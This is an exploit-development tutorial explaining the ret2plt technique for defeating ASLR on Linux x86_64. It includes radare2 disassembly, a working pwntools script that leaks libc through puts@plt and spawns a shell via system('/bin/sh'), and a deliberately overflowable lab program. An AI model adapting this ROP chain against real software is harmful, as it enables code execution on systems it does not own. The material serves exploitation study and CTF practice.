Ret2PLT

src: https://github.com/0xmanjoos/Exploit-Development/tree/main/ret2/ret2plt

ret2plt

what is ret2plt?

before we get into the details on this exploitation technique, mandatory concepts to understand if you want this writeup to benefit you is ASLR, stack overflows, x86_64 asm, Global Offset Table, Procedure Linkage Table, and return oriented programming.

You may find resources on these particular topics here:

I will not be elaborating on these particular topics in this post, i will only be detailing the technique known as ret2plt. Lets first start off with a refresher on ASLR, since that is what this technique will bypass. ASLR will randomize the address layout of our loaded executable, shared libraries, heap, stack, and etc.. Essentially, this mitigation was implemented in all modern systems in order to render unreliable exploits useless.

the premise behind Ret2PLT is exploiting a loophole of sorts within the linux dynamic addressing system. when have a dynamic executable make a call to, lets say puts(), it will call the plt entry for puts. When binaries are dynamically linked, this address to the plt will stay static since it remains within the binary. Lets take a look at this diagram to help us visualize this scenario

note: not to scale, memory is not layed out this way, nor are the sizes representative of themselves

+--------------------+
|       glibc        |
+--------------------+
|        heap        |
+--------------------+
|       stack        |
+--------------------+
|       binary       |
+--------------------+

Now as we can see, on our first run our binary is all loaded perfectly into memory and will execute lets take a look at the layout of memory on our next run.

+--------------------+
|       stack        |
+--------------------+
|       binary       |
+--------------------+
|       glibc        |
+--------------------+
|       heap         |
+--------------------+

as we can see, the addresses of everything has been randomized within memory. You may notice that nothing INSIDE of libc changes, the offsets between each other will all remain the same. The only thing that changes is WHERE the program is placed into memory. Lets take a look at this particular scenario

        +--------------------+
0x00    |       stack        |
        +--------------------+
0x10    |        heap        |
        +--------------------+
0x20    |       glibc        | <-- system() resides here
        +--------------------+
0x30    |       binary       |
        +--------------------+

everything is randomized within memory, so how can we reach our ever so desired system() function within libc? Lets take this scenario for example, if we are able to get the base address of libc, how would we be able to reach system?

as we can see from the chart, the base address of libc is 0x20, and lets just say the address of system is 0x22. We know, that normally libc would start at 0x00 right?, so if we statically look inside our libc, we will be able to find the offset to system at 0x2. So within the static libc

0x0+0x2     = system

but when our program is loaded into memory, aslr is enabled and randomizing our space. we know the base address of libc, which is 0x20

0x20+0x2    = system

that is how we are able to find the address of whichever function we want by calculating the base address of libc. Now the lingering question remains, how exactly do we do that?

with our technique ret2plt i say!

we know what the plt and got works, and we know how they interact with each other to dynamically resolve addresses within memory. So if our PLT entry within the binary is static, then we will always know the address of that entry, no matter if we are trying this exploit locally or remotely.

Which means that if were to find the address of the PLT entry, in which it points to the reloc GOT entry, we are able to dynamically leak to wherever the GOT is pointing to.

That may have sounded a bit confusing at first, but i will try to elaborate on what i just said with examples, lets first reverse this binary. pull it up in radare2 or any disassembler/decompiler of your choice and lets play around

[0x00401050]> afl
0x00401050    1 46           entry0
0x00401090    4 33           sym.deregister_tm_clones
0x004010c0    4 57   -> 51   sym.register_tm_clones
0x00401100    3 33   -> 32   sym.__do_global_dtors_aux
0x00401130    1 6            entry.init0
0x004011f0    1 5            sym.__libc_csu_fini
0x004011f8    1 13           sym._fini
0x00401180    4 101          sym.__libc_csu_init
0x00401080    1 5            sym._dl_relocate_static_pie
0x00401136    1 61           main
0x00401030    1 6            sym.imp.puts
0x00401040    1 6            sym.imp.read
0x00401000    3 27           sym._init
[0x00401050]>

when we see the function, we notice sym.imp.puts in radare2, it is named sym.imp due to the fact that it is an imported symbol. lets seek to the address of this import and see what lies inside.

[0x00401050]> s sym.imp.puts
[0x00401030]> pdf
            ; CALL XREF from main @ 0x40114c
┌ 6: int sym.imp.puts (const char *s);
│ bp: 0 (vars 0, args 0)
│ sp: 0 (vars 0, args 0)
│ rg: 0 (vars 0, args 0)
â””           0x00401030      ff25e22f0000   jmp qword [reloc.puts]      ; [0x404018:8]=0x401036 ; "6\x10@"
[0x00401030]>

hmhm, now this is interesting indeed, what we are looking at is our PLT entry. We know this since it will make a call to our GOT table, reloc.puts from what we can see from the binary, the static address of puts@plt is "0x00401030" now that we know the address of puts, and how to call it, lets get the address of the static pointer to the GOT.

[0x00401030]> s reloc.puts
[0x00404018]> pdf
p: Cannot find function at 0x00404018
[0x00404018]> pd 1
            ; CODE XREF from sym.imp.puts @ 0x401030
            ;-- reloc.puts:
            0x00404018      .qword 0x0000000000401036                  ; RELOC 64 puts
[0x00404018]>

as we can see, this is our pointer to the GOT this is extremely important, we also need the address of main, since we want to re-call it after program execution is completely within our control.

now that we know the address of puts@got and puts@plt, we can begin to explain the comcept of how we will be using these addresses

first, we obviously will want to hijack program execution, so we overflow a buffer and overwrite the return address to get control over the IP/PC registers.

The next value to write to the stack will be a rop gadget, in this case we are using the x86_64 cdecl calling convention. The convention in which parameters are passed is rdi, rsi, rdx, etc.. So since we are attempting to pass parameters to puts() and system(), we will need this gadget:

pop rdi ; ret

we can find this easily with any rop gadget searching tool, and i am assuming you have prior knowledge in ROP before you read this so i will continue

now that we have the addresses of puts@got, puts@plt, main(), and pop_rdi_ret, how will we use this to leak the address of puts within libc? Another question that may arise is, why do we want to leak the address of puts() within libc?

Leaking any function within libc will result in us being able to find the base address, which is why we want to leak the address of puts. Any GOT entry will do, as long as it exists within memory. The formula for calculating the base address of libc is:

base = puts_leak - puts_offset

like how we had spoken before about the offset, if the libc were to start at 0x0, and the address of puts() were 0x3, then the offset between 0x0 and 0x3 would be 0x3. But when we leak the address of libc within memory, it will look something like 0x23, since our libc base address will exist on 0x20 if we were to do 0x23 - 0x3, we would get the base address of libc, 0x20.

ok, so lets begin to leak it. The general premise behind this technique is, again, a loophole of sorts we first write over the return address with our pop_rdi_ret ROP gadget. Then, we will write the address of puts@got onto the stack, as so the address pointing to the GOT entry for puts will be pop'd into rdi. next, we write puts@plt, which calls puts. This essentially means that we passed the address of puts@got as a parameter to puts(), so what we are essentially doing is puts(plt@got). Which would, of course, leak the address of puts within memory.

So again, we leak puts, calculate the base address of libc, then we do the fun part. We call main() again, so we write the address of main onto the stack, as so when puts() ret's, it will ret2main(), and allow us to input whatever we want again, except this time we have the base address of libc.

Now its just a simple ret2libc from here, and since this writeup assumes prior knowledge i will not elaborate further.

Some things should be noted about this technique though, on modern binaries we will have another protection called PIE, short for Position Independent Executable. This means that our PLT entry within the program will not be static, nor will each of our functions be either. This greatly reduced the viability of this technique, as you would still need an arbitrary read in main before you can use it as an offset to puts.

Here is the binary source code, and exploit script, the libc will be included within this directory.

exploit.py

#!/usr/bin/env python3
from pwn import ELF, process, context, log, remote, pwnlib
from fastpwn import pack, aslr # custom library :)
from sys import argv, exit
try:
    if len(argv)>1 and argv[1]=="-l":
        if aslr.read():
            aslr.write("2")
        context(arch='amd64',os='linux',log_level='DEBUG')       # binary context
        binary=ELF("./lab")     # define our binary
        p=binary.process(env={'LD_PRELOAD':'./libc.so.6'}) # start our process and define enviroment

        libc=binary.libc    # name our libc object
        # we can statically find the addresses of the PLT and GOT within the binary
        # just in case you were too lazy to, here is the pwntools way to do it
        #
        # plt_puts=binary.plt['puts']
        # got_puts=binary.got['puts']
        # main_addr=binary.sym['main']

        pop_rdi=pack.pk64(0x00000000004011e3)
        got_puts=pack.pk64(0x00404018)
        plt_puts=pack.pk64(0x00401030)
        main_addr=pack.pk64(0x00401136)
        offset=40
        leak_payload=b"A"*offset # overwrite ret addr, main ret back to gadget
        leak_payload+=pop_rdi    # next we use a gadget, rdi will be the first parameter
        leak_payload+=got_puts   # pass the address of the puts() entry on the global offset table
        leak_payload+=plt_puts   # then, call puts(), this will actuall call puts
        leak_payload+=main_addr  # ret back to main, since we still want to overwrite the buffer again
        p.recvuntil("Enter: ")
        p.sendline(leak_payload)
        p.recvline()            # junk line

        puts_leak=pack.up64(p.recv(6).ljust(8,b"\x00")) # recv leaked libc address
        # now, we begin to construct our next payload, we have the address of libc we just need to use it
        # pwntools makes everything so so easy, we can simple just specify the base address
        # instead of doing this simply, we will do this manually to really hammer in the concept.
        # libc.address = puts_leak - libc.sym['puts']
        system_offset=0x0004a120 # libc->sym.system
        puts_offset = 0x00076cd0 # libc->sym.puts
        bin_sh_offset=0x0018c966 # libc->str._bin_sh

        base=puts_leak-puts_offset
        # we leak puts, we find the address of puts in memory, subtract to find base

        payload=b"A"*offset
        payload+=pop_rdi
        payload+=pack.pk64(bin_sh_offset+base)
        payload+=pack.pk64(system_offset+base)
        p.sendline(payload)
        context.log_level='warning'
        p.interactive()
    elif argv[1]=="-r":
        log.warning("Remote Exploit not working yet :(")
except IndexError:
    print("Usage: python3 %s [-r] [-l]\n-r\tremote\n-l\tlocal"%argv[0])

lab.c

// -fno-stack-protector -no-pie
#include <stdio.h>
int main(int argc,char**argv){
    char buffer[20];
    puts("Enter: ");
    read(0,buffer,128);
}

Last updated